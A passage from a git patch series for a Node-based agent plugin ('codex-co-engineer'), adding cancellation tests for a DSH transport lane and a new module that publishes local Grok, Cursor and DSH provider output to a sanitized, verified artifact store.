fakeDshTransport({ polls: [receipt] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const first = lane.reconcile(); + assert.equal(first.disposition, 'terminal', receipt.state); + const before = transport.counts(); + const result = lane.cancel(); + assert.equal(result.disposition, 'already_terminal', receipt.state); + assert.equal(result.detail_code, 'already_terminal', receipt.state); + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + assert.deepEqual(transport.counts(), before, + `${receipt.state} later cancel must not call configIdentity/cancel/poll/events/spawn`); + } +}); + +test('repeated confirmed cancel is local already_terminal with zero further transport', () => { + const transport = fakeDshTransport({ cancelReceipts: [{ outcome: 'confirmed' }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const first = lane.cancel(); + assert.equal(first.disposition, 'cancel_confirmed'); + const before = transport.counts(); + assert.equal(before.cancel, 1); + const second = lane.cancel(); + assert.equal(second.disposition, 'already_terminal'); + assert.equal(second.detail_code, 'already_terminal'); + assert.match(second.detail_message, CONTENT_FREE_DETAIL); + assert.deepEqual(transport.counts(), before, + 'repeated confirmed cancel must not call configIdentity/cancel/poll/events/spawn'); +}); + +test('cancel_requested remains nonterminal so a later cancel still reaches the port', () => { + const transport = fakeDshTransport({ + cancelReceipts: [{ outcome: 'requested' }, { outcome: 'confirmed' }], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const first = lane.cancel(); + assert.equal(first.disposition, 'cancel_requested'); + const afterRequested = transport.counts(); + const second = lane.cancel(); + assert.equal(second.disposition, 'cancel_confirmed'); + assert.equal(transport.counts().cancel, afterRequested.cancel + 1); + assert.equal(transport.counts().configIdentity, afterRequested.configIdentity + 1); + const afterConfirmed = transport.counts(); + const third = lane.cancel(); + assert.equal(third.disposition, 'already_terminal'); + assert.deepEqual(transport.counts(), afterConfirmed, + 'cancel after cancel_confirmed must not call the injected port'); +}); + test('duplicate launch after any launch observation fails closed as a replay', () => { const transport = fakeDshTransport(); const driver = createFixtureDriver(MUSE_MODEL, transport); @@ -355,6 +413,10 @@ test('a provably pre-spawn failure reports not_sent and permits exactly one more const lane = dispatchLane(driver.driver, fixture); assert.equal(lane.launch.disposition, 'not_sent'); assert.equal(lane.launch.detail_code, 'transport_prespawn_denied'); + assert.match(lane.launch.detail_message, CONTENT_FREE_DETAIL); + assert.equal(lane.launch.detail_message.includes('probe=spawn'), true); + assert.equal(lane.launch.detail_message.includes('port_denied'), false); + assert.equal(lane.launch.detail_message.includes('code='), false); // One retry is allowed because the prompt provably never went out. const recovering = fakeDshTransport(); From 86fc0c4fabfdd0eecffca8c585a00b0d5547a3b9 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 00:11:15 +0000 Subject: [PATCH 033/151] feat(provider): route local ACP results to artifacts Add a provider-neutral P11 sink that publishes complete Grok, Cursor Local, and DSH ACPX/CLI final output through the accepted P09 sanitizer and P08 store under exact run/child/provider/model identity. Empty results stay unpublished. Class-cap overflow, verify failure, and hostile sources fail closed without reporting an artifact. The ACP worker attaches detached content-free metadata only after provider terminal publication so a sink failure cannot invent completion or replay work. --- .../codex-co-engineer/mcp/v3/acp-worker.mjs | 54 +- .../mcp/v3/local-provider-result-sink.mjs | 699 ++++++++++++++++++ 2 files changed, 750 insertions(+), 3 deletions(-) create mode 100644 plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs index f715105..d1e1788 100644 --- a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs @@ -7,6 +7,14 @@ import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; +import { + collectCliProviderOutputV1, + contentFreeSinkFailureV1, + createLocalProviderResultCollectorV1, + localProviderResultIdentityFromTaskV1, + openLocalProviderArtifactStoreV1, + sinkLocalProviderResultV1, +} from './local-provider-result-sink.mjs'; import { recordNeedsAttention, replyDecision, waitForReply } from './mailbox.mjs'; import { boundedProviderResult, boundedProviderValue, createProviderResultAccumulator, providerCharCount } from './provider-result.mjs'; import { appendTaskEvent, readPrompt, readRuntimeRecord, readTask, taskPaths, updateTask } from './task-store.mjs'; @@ -59,6 +67,38 @@ function fail(code, message) { throw new AcpWorkerError(code, message); } +function sinkSourceFromCollector(collector) { + const snapshot = collector.snapshot(); + if (snapshot.overflow === true) { + throw new AcpWorkerError( + 'artifact_stream_over_cap', + 'The provider result exceeded the raw artifact class cap; nothing was published.', + ); + } + return snapshot.source; +} + +async function attachLocalProviderResultSink(root, task, source, sourceTruncated = false) { + const identity = localProviderResultIdentityFromTaskV1(task); + if (identity == null) return task; + try { + const store = await openLocalProviderArtifactStoreV1(root); + const receipt = await sinkLocalProviderResultV1(store, { + ...identity, + source, + source_truncated: sourceTruncated === true, + }); + return await updateTask(root, task.id, { provider_result_sink: receipt }); + } catch (error) { + const evidence = contentFreeSinkFailureV1(error); + try { + return await updateTask(root, task.id, { provider_result_sink: evidence }); + } catch { + return task; + } + } +} + function taskTimeoutMs(task, now = Date.now()) { const deadline = Date.parse(task?.deadline_at ?? ''); if (Number.isFinite(deadline)) return Math.max(1, deadline - now); @@ -619,7 +659,7 @@ export async function runCliFallback({ root, task, prompt, signal } = {}) { const compact = { type: 'text_delta', text: result ?? 'CLI fallback completed.' }; await appendTaskEvent(root, task.id, { type: 'provider', event: compact }); await appendTaskEvent(root, task.id, { type: 'terminal', status: 'completed' }); - return updateTask(root, task.id, { + const terminal = await updateTask(root, task.id, { status: 'completed', result, ...Object.fromEntries(Object.entries(bounded).filter(([key]) => key.startsWith('result_'))), @@ -629,6 +669,9 @@ export async function runCliFallback({ root, task, prompt, signal } = {}) { fallback_safe: false, finished_at: new Date().toISOString(), }); + return attachLocalProviderResultSink( + root, terminal, collectCliProviderOutputV1(stdout), stdoutTruncated, + ); } catch (error) { const failure = publicError(error, prompt); const terminalStatus = signal?.aborted || error?.code === 'cancelled' @@ -771,7 +814,7 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s const compact = { type: 'text_delta', text: typeof output === 'string' ? output : 'DSH ACP task completed.' }; await appendTaskEvent(root, task.id, { type: 'provider', event: compact }); await appendTaskEvent(root, task.id, { type: 'terminal', status: 'completed', stop_reason: 'end_turn' }); - return updateTask(root, task.id, { + const terminal = await updateTask(root, task.id, { status: 'completed', error: null, stop_reason: 'end_turn', @@ -783,6 +826,7 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s acp_session_id: Object.values(flow.sessionBindings ?? {})[0]?.acpSessionId ?? null, finished_at: new Date().toISOString(), }); + return attachLocalProviderResultSink(root, terminal, outputValue, false); } catch (error) { if (!dispatchUncertain && !authenticationFailure(error)) { const fallback = await fallbackToCliIfSafe({ root, task, prompt, signal, error }); @@ -892,10 +936,12 @@ export async function runAcpTask({ root, taskId, signal } = {}) { controller.signal.addEventListener('abort', cancel, { once: true }); let lastEvent = null; const output = createProviderResultAccumulator({ sanitize: (text) => sanitizeText(text, prompt) }); + const complete = createLocalProviderResultCollectorV1(); try { for await (const event of turn.events) { if (event?.type === 'text_delta' && event.stream !== 'thought' && typeof event.text === 'string') { output.append(event.text); + complete.append(event.text); } const compact = boundedEvent(event, prompt); await appendTaskEvent(root, taskId, { type: 'provider', event: compact }); @@ -918,7 +964,9 @@ export async function runAcpTask({ root, taskId, signal } = {}) { finished_at: new Date().toISOString(), }); await appendTaskEvent(root, taskId, { type: 'terminal', status, stop_reason: result.stopReason ?? null }); - return terminal; + return attachLocalProviderResultSink( + root, terminal, sinkSourceFromCollector(complete), false, + ); } catch (error) { const failure = publicError(error, prompt); const current = (await readTask(root, taskId)).task; diff --git a/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs b/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs new file mode 100644 index 0000000..94a98fc --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs @@ -0,0 +1,699 @@ +// Local provider result sink (P11; ADR 0001 identifiers +// `bounded_evidence`, `exact_identities`, +// `sanitized_bounded_evidence_model_facing`, +// Gate A `gate_a_valid_raw_and_sanitized_artifacts`, +// `codex_only_final_acceptance`). +// +// Additive v3 module. It is the provider-neutral authority that routes +// final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI output into +// the accepted P08/P09 raw+sanitized artifact store. It does not sanitize, +// store, or range-read on its own: P09 `sanitizeAndPublishArtifactV1` and +// P08 `verifyStoredArtifactV1` remain the publication/verify authorities. +// +// Contract: +// - Exact run_id / assignment_id / provider / model / optional child +// envelope digest identity is bound into the ArtifactRefV1 path and +// the detached receipt. Identities are never guessed or rewritten. +// - The complete transport-available result is stored up to the existing +// raw class cap. Older output is never silently dropped. If the +// upstream/transport was already clipped, available bytes are persisted +// and source_truncated/complete are recorded truthfully. +// - Only sanitized artifacts are model-readable. The return is detached +// deep-frozen content-free metadata: refs, provenance, digests, counts, +// truncation. Never raw bytes, secrets, prompt text, or live handles. +// - Empty output is not published and does not invent an artifact. +// - Crossing a class cap fails closed rather than clipping toward the cap. +// - Publication that does not verify is not reported. +// +// Provider completion remains evidence, never acceptance. This module does +// not mark tasks complete, replay provider work, or talk to supervisor, +// server, scheduler, or the cloud worker. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash } from 'node:crypto'; +import { chmod, mkdir } from 'node:fs/promises'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + ARTIFACT_REF_SCHEMA_ID, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MIN_ARTIFACT_BYTE_LENGTH, + artifactRefDigestV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + ARTIFACT_SANITIZER_SCHEMA_ID, + SANITIZER_CONTENT_ENCODING, + SANITIZER_MEDIA_TYPES, + sanitizeAndPublishArtifactV1, +} from './artifact-sanitizer.mjs'; +import { + openArtifactStoreV1, + verifyStoredArtifactV1, +} from './artifact-store.mjs'; +import { + capturedFreeze, + capturedIncludes, + capturedTest, + isKnownProvider, + isModelId, + sortedCapturedKeys, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH } from './identity.mjs'; +import { + RunContractV1Error, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertPlainObject, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID = + 'codex-co-engineer.local-provider-result-sink.v1'; +export const LOCAL_PROVIDER_RESULT_SINK_VERSION = 1; +export const LOCAL_PROVIDER_RESULT_ARTIFACT_KIND = 'provider_report'; +export const LOCAL_PROVIDER_RESULT_STORE_DIR = 'artifacts'; + +export const LOCAL_PROVIDER_RESULT_SINK_PROVIDERS = capturedFreeze([ + 'grok', 'cursor-local', 'dsh', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS = capturedFreeze([ + 'run_id', + 'assignment_id', + 'provider', + 'model', + 'child_envelope_digest', + 'source', + 'source_truncated', + 'media_type', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS = capturedFreeze([ + 'schema', + 'version', + 'published', + 'empty', + 'run_id', + 'assignment_id', + 'provider', + 'model', + 'child_envelope_digest', + 'artifact_kind', + 'relative_path', + 'media_type', + 'raw_ref', + 'sanitized_ref', + 'raw_digest', + 'sanitized_digest', + 'ref_digest_raw', + 'ref_digest_sanitized', + 'source_byte_length', + 'sanitized_byte_length', + 'redaction_counts', + 'sanitizer_version', + 'policy_id', + 'complete', + 'source_truncated', + 'provenance', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS = capturedFreeze([ + 'schema', + 'version', + 'published', + 'error', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES = capturedFreeze([ + 'artifact_sink_failed', + 'artifact_sink_not_verified', + 'artifact_stream_invalid_chunk', + 'artifact_stream_invalid_source', + 'artifact_stream_over_cap', + 'invalid_format', + 'invalid_type', + 'local_provider_required', + 'missing_key', + 'unknown_key', + 'unknown_provider', +]); + +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const INTRINSIC_VIEW_SURFACE_KEYS = capturedFreeze([ + 'buffer', + 'byteOffset', + 'byteLength', + 'subarray', +]); + +const CREATE_HASH = createHash; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_ALLOC = NodeBuffer.alloc.bind(NodeBuffer); +const JSON_STRINGIFY = JSON.stringify; +const STRING = String; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const MKDIR = mkdir; +const CHMOD = chmod; +const OBJECT_GET_PROTOTYPE_OF = Object.getPrototypeOf; +const OBJECT_GET_OWN_PROPERTY_DESCRIPTOR = Object.getOwnPropertyDescriptor; +const REFLECT_HAS = Reflect.has; +const ARRAY_BUFFER_IS_VIEW = ArrayBuffer.isView; +const IS_PROXY = utilTypes.isProxy; +const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; +const IS_SHARED_ARRAY_BUFFER = utilTypes.isSharedArrayBuffer; +const NUMBER_IS_FINITE = Number.isFinite; + +const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; +const BUFFER_PROTOTYPE = NodeBuffer.prototype; +const OBJECT_PROTOTYPE = Object.prototype; +const ASYNC_GENERATOR_PROTOTYPE = OBJECT_GET_PROTOTYPE_OF( + Object.getPrototypeOf((async function* () {}).prototype), +); +const SYMBOL_ASYNC_ITERATOR = Symbol.asyncIterator; + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= 200 ? text : text.slice(0, 200); +} + +function failSink(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function hasOwnIntrinsicViewSurfaceOverride(value) { + try { + for (let index = 0; index < INTRINSIC_VIEW_SURFACE_KEYS.length; index += 1) { + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR( + value, + INTRINSIC_VIEW_SURFACE_KEYS[index], + ); + if (descriptor !== undefined) return true; + } + return false; + } catch { + return true; + } +} + +function isIntrinsicBinaryView(value) { + if (value === null || typeof value !== 'object') return false; + if (IS_PROXY(value)) return false; + const proto = OBJECT_GET_PROTOTYPE_OF(value); + if (proto !== UINT8ARRAY_PROTOTYPE && proto !== BUFFER_PROTOTYPE) return false; + if (!ARRAY_BUFFER_IS_VIEW(value)) return false; + if (hasOwnIntrinsicViewSurfaceOverride(value)) return false; + const backing = value.buffer; + if (!IS_ARRAY_BUFFER(backing) || IS_SHARED_ARRAY_BUFFER(backing)) return false; + return true; +} + +function snapshotView(view) { + const copy = BUFFER_ALLOC(view.byteLength); + copy.set(view); + return copy; +} + +function isAcceptableAsyncIterable(source) { + let proto = OBJECT_GET_PROTOTYPE_OF(source); + for (let depth = 0; depth < 4 && proto !== null; depth += 1) { + if (IS_PROXY(proto)) return false; + if (proto === ASYNC_GENERATOR_PROTOTYPE) return true; + if (proto === OBJECT_PROTOTYPE) break; + proto = OBJECT_GET_PROTOTYPE_OF(proto); + } + if (proto !== null && proto !== OBJECT_PROTOTYPE) return false; + if (!REFLECT_HAS(source, SYMBOL_ASYNC_ITERATOR)) return false; + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR(source, SYMBOL_ASYNC_ITERATOR); + if (descriptor === undefined || descriptor.get !== undefined) return false; + return typeof descriptor.value === 'function'; +} + +function digestOf(bytes) { + return CREATE_HASH('sha256').update(bytes).digest('hex'); +} + +function mediaExtension(mediaType) { + if (mediaType === 'application/json') return 'json'; + if (mediaType === 'application/x-ndjson') return 'ndjson'; + if (mediaType === 'text/markdown') return 'md'; + return 'txt'; +} + +function providerReportPath(runId, assignmentId, mediaType) { + return `runs/${runId}/${assignmentId}/provider-report.${mediaExtension(mediaType)}`; +} + +function encodeJsonValue(value) { + assertDirectJsonClosure(value, 'source'); + try { + const text = JSON_STRINGIFY(value); + if (typeof text !== 'string') { + failSink('invalid_type', 'source', + 'The provider result JSON value could not be serialized.'); + } + return BUFFER_FROM(text, 'utf8'); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSink('invalid_type', 'source', + 'The provider result JSON value could not be serialized.'); + } +} + +function chunkToBytes(chunk, field) { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (isIntrinsicBinaryView(chunk)) return snapshotView(chunk); + failSink('artifact_stream_invalid_chunk', field, + 'Every stream chunk must be a string or an intrinsic Buffer/Uint8Array view.'); +} + +async function collectStream(iterable) { + const parts = []; + let total = 0; + try { + for await (const chunk of iterable) { + const bytes = chunkToBytes(chunk, 'source'); + if (total + bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failSink('artifact_stream_over_cap', 'source', + `The provider result exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte raw class cap; nothing was published.`); + } + parts.push(bytes); + total += bytes.byteLength; + } + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSink('artifact_sink_failed', 'source', + 'The provider result stream failed before its declared length; nothing was published.'); + } + if (total === 0) return BUFFER_ALLOC(0); + if (parts.length === 1) return parts[0]; + return BUFFER_CONCAT(parts, total); +} + +function cliJsonCandidate(value) { + const candidates = typeof value === 'string' + ? [value] + : [value?.result, value?.text, value?.message?.content, value?.content?.text, value?.delta?.text]; + return candidates.find((candidate) => typeof candidate === 'string' && candidate.length > 0) + ?? candidates.find((candidate) => typeof candidate === 'string'); +} + +export function collectCliProviderOutputV1(stdout) { + const raw = STRING(stdout ?? ''); + if (!raw.trim()) return BUFFER_ALLOC(0); + const lines = raw.split(/\r?\n/u); + while (lines.at(-1) === '') lines.pop(); + const records = []; + for (const line of lines) { + try { + const candidate = cliJsonCandidate(JSON.parse(line)); + if (typeof candidate === 'string') records.push({ kind: 'structured', text: candidate }); + } catch { + records.push({ kind: 'plain', text: line }); + } + } + if (records.length === 0) return BUFFER_FROM(raw.trim(), 'utf8'); + let joined = ''; + let previousKind = null; + for (let index = 0; index < records.length; index += 1) { + const record = records[index]; + if (record.kind === 'plain') { + if (previousKind === 'structured') joined += '\n'; + joined += record.text; + if (index < records.length - 1) joined += '\n'; + } else { + joined += record.text; + } + previousKind = record.kind; + } + return BUFFER_FROM(joined, 'utf8'); +} + +export function createLocalProviderResultCollectorV1() { + const parts = []; + let total = 0; + let overflow = false; + + return capturedFreeze({ + append(value) { + if (overflow || value === null || value === undefined) return; + const bytes = typeof value === 'string' + ? BUFFER_FROM(value, 'utf8') + : isIntrinsicBinaryView(value) + ? snapshotView(value) + : null; + if (bytes === null) { + failSink('artifact_stream_invalid_chunk', 'source', + 'Collector chunks must be strings or intrinsic Buffer/Uint8Array views.'); + } + if (total + bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + overflow = true; + return; + } + parts.push(bytes); + total += bytes.byteLength; + }, + snapshot() { + const source = total === 0 + ? BUFFER_ALLOC(0) + : (parts.length === 1 ? parts[0] : BUFFER_CONCAT(parts, total)); + return capturedFreeze({ + source, + byte_length: total, + overflow: overflow === true, + }); + }, + }); +} + +async function normalizeSource(source) { + if (source === null || source === undefined) { + return { bytes: BUFFER_ALLOC(0), mediaType: 'text/plain' }; + } + if (typeof source === 'string') { + return { bytes: BUFFER_FROM(source, 'utf8'), mediaType: 'text/plain' }; + } + if (typeof source === 'number' || typeof source === 'boolean') { + if (typeof source === 'number' && !NUMBER_IS_FINITE(source)) { + failSink('invalid_type', 'source', 'JSON number results must be finite.'); + } + return { bytes: BUFFER_FROM(JSON_STRINGIFY(source), 'utf8'), mediaType: 'application/json' }; + } + if (isIntrinsicBinaryView(source)) { + return { bytes: snapshotView(source), mediaType: 'text/plain' }; + } + if (source !== null && typeof source === 'object') { + if (IS_PROXY(source)) { + failSink('proxy_denied', 'source', 'The provider result source is a live or revoked Proxy.'); + } + if (isAcceptableAsyncIterable(source)) { + return { bytes: await collectStream(source), mediaType: 'text/plain' }; + } + if (Array.isArray(source) || OBJECT_GET_PROTOTYPE_OF(source) === OBJECT_PROTOTYPE + || OBJECT_GET_PROTOTYPE_OF(source) === null) { + return { bytes: encodeJsonValue(source), mediaType: 'application/json' }; + } + } + failSink('artifact_stream_invalid_source', 'source', + 'The provider result source must be a string, JSON value, intrinsic byte view, or async iterable of such chunks.'); +} + +function parseIdentity(input) { + if (!hasOwn(input, 'run_id')) { + failSink('missing_key', 'options.run_id', + 'options.run_id is required; the sink binds one exact run identity.'); + } + if (!hasOwn(input, 'assignment_id')) { + failSink('missing_key', 'options.assignment_id', + 'options.assignment_id is required; the sink binds one exact child identity.'); + } + if (!hasOwn(input, 'provider')) { + failSink('missing_key', 'options.provider', + 'options.provider is required; the sink binds one exact local provider.'); + } + if (!hasOwn(input, 'model')) { + failSink('missing_key', 'options.model', + 'options.model is required; the sink binds one exact model identity.'); + } + + const runId = ownDataValue(input, 'run_id', 'options.run_id'); + assertRunId(runId, 'options.run_id'); + const assignmentId = ownDataValue(input, 'assignment_id', 'options.assignment_id'); + if (typeof assignmentId !== 'string' || !isAssignmentId(assignmentId)) { + failSink('invalid_format', 'options.assignment_id', + 'options.assignment_id violates the assignment-id grammar; child artifacts bind one exact child.'); + } + const provider = ownDataValue(input, 'provider', 'options.provider'); + if (typeof provider !== 'string' || !isKnownProvider(provider)) { + failSink('unknown_provider', 'options.provider', + 'options.provider must be a known provider.'); + } + if (!capturedIncludes(LOCAL_PROVIDER_RESULT_SINK_PROVIDERS, provider)) { + failSink('local_provider_required', 'options.provider', + 'The local provider result sink accepts only grok, cursor-local, and dsh.'); + } + const model = ownDataValue(input, 'model', 'options.model'); + if (!isModelId(model)) { + failSink('invalid_format', 'options.model', + 'options.model must be an exact model identifier.'); + } + + let childEnvelopeDigest = null; + if (hasOwn(input, 'child_envelope_digest')) { + const digest = ownDataValue(input, 'child_envelope_digest', 'options.child_envelope_digest'); + if (typeof digest !== 'string' + || digest.length !== DIGEST_HEX_LENGTH + || !capturedTest(PRIVATE_SHA256_PATTERN, digest)) { + failSink('invalid_format', 'options.child_envelope_digest', + 'options.child_envelope_digest must be an exact lowercase SHA-256 hex digest when present.'); + } + childEnvelopeDigest = digest; + } + + return capturedFreeze({ + run_id: runId, + assignment_id: assignmentId, + provider, + model, + child_envelope_digest: childEnvelopeDigest, + }); +} + +function parseSourceTruncated(input) { + if (!hasOwn(input, 'source_truncated')) return false; + const flagged = ownDataValue(input, 'source_truncated', 'options.source_truncated'); + if (flagged !== true && flagged !== false) { + failSink('invalid_type', 'options.source_truncated', + 'options.source_truncated must be an exact boolean when present.'); + } + return flagged === true; +} + +function parseMediaType(input, inferred) { + if (!hasOwn(input, 'media_type')) return inferred; + const mediaType = ownDataValue(input, 'media_type', 'options.media_type'); + if (!capturedIncludes(SANITIZER_MEDIA_TYPES, mediaType)) { + failSink('invalid_format', 'options.media_type', + 'options.media_type must be an identity-encoded text media type.'); + } + return mediaType; +} + +function parseOptions(input) { + assertPlainObject(input, 'invalid_type', 'options', 'The local provider result sink options'); + const keys = sortedCapturedKeys(input); + for (let index = 0; index < keys.length; index += 1) { + if (!capturedIncludes(LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS, keys[index])) { + failSink('unknown_key', `options.${keys[index]}`, + `options.${keys[index]} is not part of the closed sink vocabulary.`); + } + } + if (!hasOwn(input, 'source')) { + failSink('missing_key', 'options.source', + 'options.source is required; the sink never reads stored artifacts to recover a result.'); + } + const identity = parseIdentity(input); + const sourceTruncated = parseSourceTruncated(input); + const source = ownDataValue(input, 'source', 'options.source'); + return { identity, sourceTruncated, source, input }; +} + +function emptyReceipt(identity, sourceTruncated) { + return freezeData({ + schema: LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + version: LOCAL_PROVIDER_RESULT_SINK_VERSION, + published: false, + empty: true, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + provider: identity.provider, + model: identity.model, + child_envelope_digest: identity.child_envelope_digest, + artifact_kind: LOCAL_PROVIDER_RESULT_ARTIFACT_KIND, + relative_path: null, + media_type: null, + raw_ref: null, + sanitized_ref: null, + raw_digest: null, + sanitized_digest: null, + ref_digest_raw: null, + ref_digest_sanitized: null, + source_byte_length: 0, + sanitized_byte_length: 0, + redaction_counts: null, + sanitizer_version: null, + policy_id: null, + complete: sourceTruncated !== true, + source_truncated: sourceTruncated === true, + provenance: null, + }); +} + +function publishedReceipt(identity, mediaType, relativePath, provenance) { + const rawRef = provenance.raw_ref; + const sanitizedRef = provenance.sanitized_ref; + return freezeData({ + schema: LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + version: LOCAL_PROVIDER_RESULT_SINK_VERSION, + published: true, + empty: false, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + provider: identity.provider, + model: identity.model, + child_envelope_digest: identity.child_envelope_digest, + artifact_kind: LOCAL_PROVIDER_RESULT_ARTIFACT_KIND, + relative_path: relativePath, + media_type: mediaType, + raw_ref: rawRef, + sanitized_ref: sanitizedRef, + raw_digest: provenance.source_digest, + sanitized_digest: provenance.sanitized_digest, + ref_digest_raw: artifactRefDigestV1(rawRef, 'raw_ref').digest, + ref_digest_sanitized: artifactRefDigestV1(sanitizedRef, 'sanitized_ref').digest, + source_byte_length: provenance.source_byte_length, + sanitized_byte_length: provenance.sanitized_byte_length, + redaction_counts: provenance.redaction_counts, + sanitizer_version: provenance.sanitizer_version, + policy_id: provenance.policy_id, + complete: provenance.complete === true, + source_truncated: provenance.source_truncated === true, + provenance, + }); +} + +export function contentFreeSinkFailureV1(error) { + const fromContract = error instanceof RunContractV1Error; + const code = fromContract && typeof error.code === 'string' + ? error.code + : 'artifact_sink_failed'; + const field = fromContract && typeof error.path === 'string' + ? error.path + : 'sink'; + const message = fromContract + ? diagnostic(error.message) + : 'The local provider result sink failed after provider terminal publication.'; + return freezeData({ + schema: LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + version: LOCAL_PROVIDER_RESULT_SINK_VERSION, + published: false, + error: freezeData({ + code, + path: diagnostic(field), + message, + }), + }); +} + +export function localProviderResultIdentityFromTaskV1(task) { + if (task === null || typeof task !== 'object' || Array.isArray(task)) return null; + if (IS_PROXY(task)) return null; + if (!hasOwn(task, 'run_id') || !hasOwn(task, 'assignment_id') || !hasOwn(task, 'provider')) { + return null; + } + let model; + if (hasOwn(task, 'model')) model = task.model; + else if (task.provider === 'dsh' && hasOwn(task, 'dsh_model')) model = task.dsh_model; + if (model === null || model === undefined) return null; + const identity = { + run_id: task.run_id, + assignment_id: task.assignment_id, + provider: task.provider, + model, + }; + if (hasOwn(task, 'child_envelope_digest')) { + identity.child_envelope_digest = task.child_envelope_digest; + } + return freezeData(identity); +} + +export async function openLocalProviderArtifactStoreV1(stateRoot) { + if (typeof stateRoot !== 'string' || stateRoot.length === 0) { + failSink('invalid_type', 'root', + 'The artifact store state root must be an absolute path string.'); + } + if (!PATH_IS_ABSOLUTE(stateRoot)) { + failSink('invalid_format', 'root', + 'The artifact store state root must be an absolute path string.'); + } + const artifactsRoot = PATH_JOIN(PATH_RESOLVE(stateRoot), LOCAL_PROVIDER_RESULT_STORE_DIR); + try { + await MKDIR(artifactsRoot, { recursive: true, mode: 0o700 }); + await CHMOD(artifactsRoot, 0o700); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSink('artifact_sink_failed', 'root', + 'The local provider artifact store root could not be prepared.'); + } + return openArtifactStoreV1({ root: artifactsRoot }); +} + +export async function sinkLocalProviderResultV1(store, input) { + const { identity, sourceTruncated, source, input: options } = parseOptions(input); + const normalized = await normalizeSource(source); + const mediaType = parseMediaType(options, normalized.mediaType); + const bytes = normalized.bytes; + + if (bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failSink('artifact_stream_over_cap', 'source', + `The provider result exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte raw class cap; nothing was published.`); + } + if (bytes.byteLength < MIN_ARTIFACT_BYTE_LENGTH) { + return emptyReceipt(identity, sourceTruncated); + } + + const relativePath = providerReportPath(identity.run_id, identity.assignment_id, mediaType); + const rawRef = parseArtifactRefV1({ + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + artifact_kind: LOCAL_PROVIDER_RESULT_ARTIFACT_KIND, + artifact_class: 'raw', + relative_path: relativePath, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: mediaType, + content_encoding: SANITIZER_CONTENT_ENCODING, + }, 'artifact_ref'); + + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRef, + source: bytes, + source_truncated: sourceTruncated, + }); + if (provenance.schema !== ARTIFACT_SANITIZER_SCHEMA_ID) { + failSink('artifact_sink_not_verified', 'provenance', + 'The sanitizer returned provenance the sink does not recognize; nothing is reported.'); + } + + const rawVerdict = await verifyStoredArtifactV1(store, provenance.raw_ref); + const sanitizedVerdict = await verifyStoredArtifactV1(store, provenance.sanitized_ref); + if (rawVerdict.verified !== true || sanitizedVerdict.verified !== true) { + failSink('artifact_sink_not_verified', 'artifact_ref', + 'Published provider-result artifacts did not verify; nothing is reported.'); + } + + return publishedReceipt(identity, mediaType, relativePath, provenance); +} + +capturedFreeze(sinkLocalProviderResultV1); 